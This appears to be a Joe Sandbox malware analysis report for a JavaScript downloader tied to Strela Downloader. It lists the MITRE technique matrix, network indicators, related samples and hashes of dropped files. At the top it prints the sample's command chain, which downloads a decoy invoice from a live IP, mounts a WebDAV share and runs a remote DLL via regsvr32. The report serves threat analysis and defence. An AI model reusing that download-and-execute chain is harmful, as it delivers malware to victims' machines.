Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2553416555111621752.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/s64	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.18	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1386039602.0000022219250000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2598866953.0000022219400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/s64	net.exe, 00000008.00000002.1395241833.0000019C47138000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1395241833.0000019C4715C000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587809
Start date and time:	2025-01-10 18:09:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2553416555111621752.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.22.50.144, 2.22.50.131, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 2.19.11.122, 2.19.11.117, 13.107.246.45, 50.16.47.176, 4.245.163.56, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:10:54	API Interceptor	29x Sleep call for process: powershell.exe modified
12:10:59	API Interceptor	1x Sleep call for process: net.exe modified
12:10:59	API Interceptor	2x Sleep call for process: svchost.exe modified
12:11:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.38
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
bg.microsoft.map.fastly.net	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067076576193867
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqE:2JIB/wUKUKQncEmYRTwh0Y
MD5:	6AB7F824535257BD67DF0DEDDBDD6D15
SHA1:	5EDAB28D312B4B3B259C1B891749BE235EECB953
SHA-256:	5952B6646935A338567D70EC3DB444C340E9DF6B8A2718D80D862DB7331CD73B
SHA-512:	A961427010802720AFB69492154EB110E2AEB9D7EEF63582BD1D25A6AEE6018083EB522AF0863CB6DE826638C93B3B86458DB4C10F70EBD00E3805A2FCFF7874
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x37c04240, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900147898727468
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	FF3143037A8DE13D23C47868BC7F61F0
SHA1:	9FEB0629E2E186998C3CBFAC8163917204035D15
SHA-256:	E7F41596592A990DF5F2A0A4FC48B8B13149FEA06EB7F7802DCEEFA4FCF8BC5C
SHA-512:	A43F05FDC8A6C39106D8F154C7204F6666AB7935AA146083C4475D7F8E56FADD758E157D32468827829F90B98DEC89E930E0840BEC5AA1F56A175AE10B808725
Malicious:	false
Preview:	7.B@... ...............X\...;...{......................0.`.....42...{5.;....}].h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................E...;....}..................q.E.;....}]..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08149412829831314
Encrypted:	false
SSDEEP:	3:PYepOw1t/57Dek3JdMv0vkYMlAllEqW3l/TjzzQ/t:PzpOwHR3tKv0vSlAmd8/
MD5:	88ACE906CF6F3A53D5C84A3274B0D4D8
SHA1:	16CE8C0405DD4DD9C5BC97ED6A13E5F9428907E4
SHA-256:	5DE91EEAB2C04E5BFB281B59E3F9C189606E36429D2DD3A1B173C4C33B02A1EE
SHA-512:	2C927E463F2133CB2C6DF770C1D0E2EE7F857C375472801F4A452A2D5C0FA860FF6B0F73F227E21EFB83C2D6E158E6C494B5D8DCD9B95B6D4DC870AAFDDE5BDC
Malicious:	false
Preview:	..z......................................;...{..;....}].42...{5.........42...{5.42...{5...Y.42...{59................q.E.;....}].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.191211979530075
Encrypted:	false
SSDEEP:	6:iO4trVq2PcNwi2nKuAl9OmbnIFUtSUgZmwsUIkwOcNwi2nKuAl9OmbjLJ:7kVvLZHAahFUtvg/1I54ZHAaSJ
MD5:	3BC6D448CA2EB81AF41621F645F425D6
SHA1:	1132DBBDE0851FBE35C63CFF8B84B7E4FBADE3C6
SHA-256:	01FBB194FBD29E4D3E2DAE01B3B8FCE89D27F5FBBBFA7EB0484A154FF96C62F7
SHA-512:	11A686087F3CE84E7B1F8BF8CE533618A2A6C204DE4FAEB914E66ADF223952F470D350BF21E1116DBAB50354F0DA653A43EC4C5164F8CE42B8A832A41BE69E6D
Malicious:	false
Preview:	2025/01/10-12:10:59.579 1f04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:10:59.581 1f04 Recovering log #3.2025/01/10-12:10:59.581 1f04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.191211979530075
Encrypted:	false
SSDEEP:	6:iO4trVq2PcNwi2nKuAl9OmbnIFUtSUgZmwsUIkwOcNwi2nKuAl9OmbjLJ:7kVvLZHAahFUtvg/1I54ZHAaSJ
MD5:	3BC6D448CA2EB81AF41621F645F425D6
SHA1:	1132DBBDE0851FBE35C63CFF8B84B7E4FBADE3C6
SHA-256:	01FBB194FBD29E4D3E2DAE01B3B8FCE89D27F5FBBBFA7EB0484A154FF96C62F7
SHA-512:	11A686087F3CE84E7B1F8BF8CE533618A2A6C204DE4FAEB914E66ADF223952F470D350BF21E1116DBAB50354F0DA653A43EC4C5164F8CE42B8A832A41BE69E6D
Malicious:	false
Preview:	2025/01/10-12:10:59.579 1f04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:10:59.581 1f04 Recovering log #3.2025/01/10-12:10:59.581 1f04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.190130723036134
Encrypted:	false
SSDEEP:	6:iO4KL+q2PcNwi2nKuAl9Ombzo2jMGIFUtSKh3WZmws3VkwOcNwi2nKuAl9Ombzos:7b+vLZHAa8uFUtLW/sV54ZHAa8RJ
MD5:	1B66D4E77FDC737900112DDE96B92AA7
SHA1:	60182FD4B43D9B680484D36A2F25F4FB88B3D49A
SHA-256:	0231F6872A9F7022ED065BE0498541BFEAE3BAD84FBB8B84CFDABAF81EEF892F
SHA-512:	812ABBEF4C1A8DC9DED873AE623FF31E35EC515076AE5AB0F157DCE6680BBD7668FB540602FF14AC5F0F756D13B096AC08D366BA3BE59E0D20695CEA094C9AB4
Malicious:	false
Preview:	2025/01/10-12:10:59.647 1fcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:10:59.677 1fcc Recovering log #3.2025/01/10-12:10:59.736 1fcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.190130723036134
Encrypted:	false
SSDEEP:	6:iO4KL+q2PcNwi2nKuAl9Ombzo2jMGIFUtSKh3WZmws3VkwOcNwi2nKuAl9Ombzos:7b+vLZHAa8uFUtLW/sV54ZHAa8RJ
MD5:	1B66D4E77FDC737900112DDE96B92AA7
SHA1:	60182FD4B43D9B680484D36A2F25F4FB88B3D49A
SHA-256:	0231F6872A9F7022ED065BE0498541BFEAE3BAD84FBB8B84CFDABAF81EEF892F
SHA-512:	812ABBEF4C1A8DC9DED873AE623FF31E35EC515076AE5AB0F157DCE6680BBD7668FB540602FF14AC5F0F756D13B096AC08D366BA3BE59E0D20695CEA094C9AB4
Malicious:	false
Preview:	2025/01/10-12:10:59.647 1fcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:10:59.677 1fcc Recovering log #3.2025/01/10-12:10:59.736 1fcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ea3e27d-3a1a-4be1-a7e7-9c7a344b0566.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9NSsBdOg2Hgfcaq3QYiubSpDyP7E4TX:Y2sRdsYXdMHgu3QYhbSpDa7n7
MD5:	23BC3BF94933741DFA755364C021066F
SHA1:	59638F48963414BC91F1DB37E2A254A105CBD642
SHA-256:	52E56F7BAFEF3AC852EFE23A38177B7EB19CF2938BAFF0DD42D27738380A667A
SHA-512:	7D8834BE7E77CFF14E41B4B048394C43464C19818635F099B2DD64C8B3C24C82CC3F54E335A03ABF494502B9740C64ABB336F2345F4800B22294872BC7A8BAE6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089071438095","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122911},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9NSsBdOg2Hgfcaq3QYiubSpDyP7E4TX:Y2sRdsYXdMHgu3QYhbSpDa7n7
MD5:	23BC3BF94933741DFA755364C021066F
SHA1:	59638F48963414BC91F1DB37E2A254A105CBD642
SHA-256:	52E56F7BAFEF3AC852EFE23A38177B7EB19CF2938BAFF0DD42D27738380A667A
SHA-512:	7D8834BE7E77CFF14E41B4B048394C43464C19818635F099B2DD64C8B3C24C82CC3F54E335A03ABF494502B9740C64ABB336F2345F4800B22294872BC7A8BAE6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089071438095","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":122911},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237639793086382
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPUb/jsb:CwNw1GHqPySfkcigoO3h28ytPUb/Qb
MD5:	B7C31E6458DD4D3422953990A5FD818F
SHA1:	B494CCDF561B61808F0B28DDA600964A448570BA
SHA-256:	FF4FE26C52342D131545AE3B5A73E95D4B96A12808E96CB2AC50276E5DDFB1F5
SHA-512:	D3BBD141730B88212058FFFBEE4363B120268A7746E269D9914D87967AF1087A27C41DC7C662C353152CB6CC01B0D3CEF06334AA97BB34526A68D2B81D360323
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.124214924428599
Encrypted:	false
SSDEEP:	6:iO4ZXN+q2PcNwi2nKuAl9OmbzNMxIFUtSuGFmWZmwsqUaSNVkwOcNwi2nKuAl9Ob:7E+vLZHAa8jFUtpW/XSNV54ZHAa84J
MD5:	974A43759E0E1040B312CE091C500EC8
SHA1:	3AC47D2E6B21452C660F8832ECBB934EFBA2E6E9
SHA-256:	22AC96234B95333074A5E01B5539700EF795D9A1B5B9EE0E2AC7C2BD1CBEF60F
SHA-512:	F04449B7659D78E3C4078381878B41F69B4693F77CC97391D8D61352C64A9E7D603F2BA2588A0F4C207E38CD5DDC9F62FAF9CCC40F12642087BEB0812EB702A7
Malicious:	false
Preview:	2025/01/10-12:11:00.368 1fcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:11:00.388 1fcc Recovering log #3.2025/01/10-12:11:00.403 1fcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.124214924428599
Encrypted:	false
SSDEEP:	6:iO4ZXN+q2PcNwi2nKuAl9OmbzNMxIFUtSuGFmWZmwsqUaSNVkwOcNwi2nKuAl9Ob:7E+vLZHAa8jFUtpW/XSNV54ZHAa84J
MD5:	974A43759E0E1040B312CE091C500EC8
SHA1:	3AC47D2E6B21452C660F8832ECBB934EFBA2E6E9
SHA-256:	22AC96234B95333074A5E01B5539700EF795D9A1B5B9EE0E2AC7C2BD1CBEF60F
SHA-512:	F04449B7659D78E3C4078381878B41F69B4693F77CC97391D8D61352C64A9E7D603F2BA2588A0F4C207E38CD5DDC9F62FAF9CCC40F12642087BEB0812EB702A7
Malicious:	false
Preview:	2025/01/10-12:11:00.368 1fcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:11:00.388 1fcc Recovering log #3.2025/01/10-12:11:00.403 1fcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438840798506967
Encrypted:	false
SSDEEP:	384:yeaci5GIiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1kurVgazUpUTTGt
MD5:	9655AB093FCEB524BB40D52240065097
SHA1:	3191E522E53CF8037183A3B31EC32E050AD4B9EB
SHA-256:	1E386DF65BC71304A8B1D5CD9E47B9983D87414B281B4CCDB97DF61D1993024B
SHA-512:	4785224BF1E64464022A156087C8D2C472BEEBC7DFE07FC35A53309DC306F4D18E3CE65460F04F3611A250DA851095B58E8CD2C656E5398AAFC9B978E01DA74E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7750144314002347
Encrypted:	false
SSDEEP:	48:7Mtp/E2ioyVRioy3DoWoy1CABoy1xKOioy1noy1AYoy1Wioy1hioybioyBoy1noO:7GpjuR0iAPXKQQPb9IVXEBodRBkl
MD5:	46E33A535FC7AF44993EFC11BB80F1F7
SHA1:	F6D1A6BC14D0100E015D2AC5CEF079F777004B66
SHA-256:	47713CA603B7D1FD61DDF9BB92C30D59CB21F211B7F25E8FC9CCB977C71FDD67
SHA-512:	A4978DD3E5EB21D9CE1B944CCB26B311FA9DD74565CC3053EC092684467D7624BF5C6CA1A59DA5336B165F0B29BEDFCF794891832ABE3F7AD6C56B93B17A160D
Malicious:	false
